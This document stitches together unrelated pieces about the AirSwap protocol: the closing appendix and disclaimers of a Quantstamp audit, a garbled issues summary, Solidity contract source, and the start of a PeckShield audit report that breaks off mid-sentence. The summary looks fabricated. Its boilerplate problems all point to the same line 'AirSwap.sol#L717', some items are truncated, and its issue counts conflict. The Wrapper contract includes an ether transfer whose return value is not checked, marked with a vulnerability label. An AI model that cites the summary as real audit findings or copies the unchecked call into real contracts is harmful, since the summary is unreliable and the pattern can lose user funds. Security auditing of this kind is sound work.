Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public lastCompletedMigration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) external restricted { lastCompletedMigration = completed; } function upgrade(address newAddress) external restricted { Migrations upgraded = Migrations(newAddress); upgraded.setCompleted(lastCompletedMigration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/tokens/contracts/WETH9.sol"; import "@airswap/swap/contracts/Swap.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {}/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@airswap/tokens/contracts/interfaces/IWETH.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title Wrapper: Send and receive ether for WETH trades */ contract Wrapper is Ownable { // The Swap contract to settle trades ISwap public swapContract; // The WETH contract to wrap ether IWETH public wethContract; // Boolean marking when the contract is paused - users cannot call functions when true // defaults to false bool public contractPaused; /** * @notice Contract Constructor * @param wrapperSwapContract address * @param wrapperWethContract address */ constructor( address wrapperSwapContract, address wrapperWethContract ) public { swapContract = ISwap(wrapperSwapContract); wethContract = IWETH(wrapperWethContract); } /** * @notice Modifier to prevent function calling unless the contract is not paused */ modifier notPaused() { require(!contractPaused, "CONTRACT_IS_PAUSED"); _; } /** * @notice Modifier to prevent function calling unless the contract is paused */ modifier paused() { require(contractPaused, "CONTRACT_NOT_PAUSED"); _; } /** * @notice Required when withdrawing from WETH * @dev During unwraps, WETH.withdraw transfers ether to msg.sender (this contract) */ function() external payable { // Ensure the message sender is the WETH contract. if(msg.sender != address(wethContract)) { revert("DO_NOT_SEND_ETHER"); } } /** * @notice Set whether the contract is paused * @dev Only callable by owner * @param newStatus bool New status of contractPaused */ function setPausedStatus(bool newStatus) external onlyOwner { contractPaused = newStatus; } /** * @notice Destroy the Contract * @dev Only callable by owner and when contractPaused * @param recipient address Recipient of any ETH in the contract */ function killContract(address payable recipient) external onlyOwner paused { selfdestruct(recipient); } /** * @notice Send an Order * @dev Sender must authorize this contract on the swapContract * @dev Sender must approve this contract on the wethContract * @param order Types.Order The Order */ function swap( Types.Order calldata order ) external payable notPaused { // Ensure msg.sender is sender wallet. require(order.sender.wallet == msg.sender, "MSG_SENDER_MUST_BE_ORDER_SENDER"); // Ensure that the signature is present. // It will be explicitly checked in Swap. require(order.signature.v != 0, "SIGNATURE_MUST_BE_SENT"); // The sender is sending ether that must be wrapped. if (order.sender.token == address(wethContract)) { // Ensure message value is sender param. require(order.sender.param == msg.value, "VALUE_MUST_BE_SENT"); // Wrap (deposit) the ether. wethContract.deposit.value(msg.value)(); // Transfer the WETH from the wrapper to sender. wethContract.transfer(order.sender.wallet, order.sender.param); } else { // Ensure no unexpected ether is sent. require(msg.value == 0, "VALUE_MUST_BE_ZERO"); } // Perform the swap. swapContract.swap(order); // The sender is receiving ether that must be unwrapped. if (order.signer.token == address(wethContract)) { // Transfer from the sender to the wrapper. wethContract.transferFrom(order.sender.wallet, address(this), order.signer.param); // Unwrap (withdraw) the ether. wethContract.withdraw(order.signer.param); // Transfer ether to the user. // solium-disable-next-line security/no-call-value // SWC-Unchecked Call Return Value: L152 msg.sender.call.value(order.signer.param)(""); } } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for 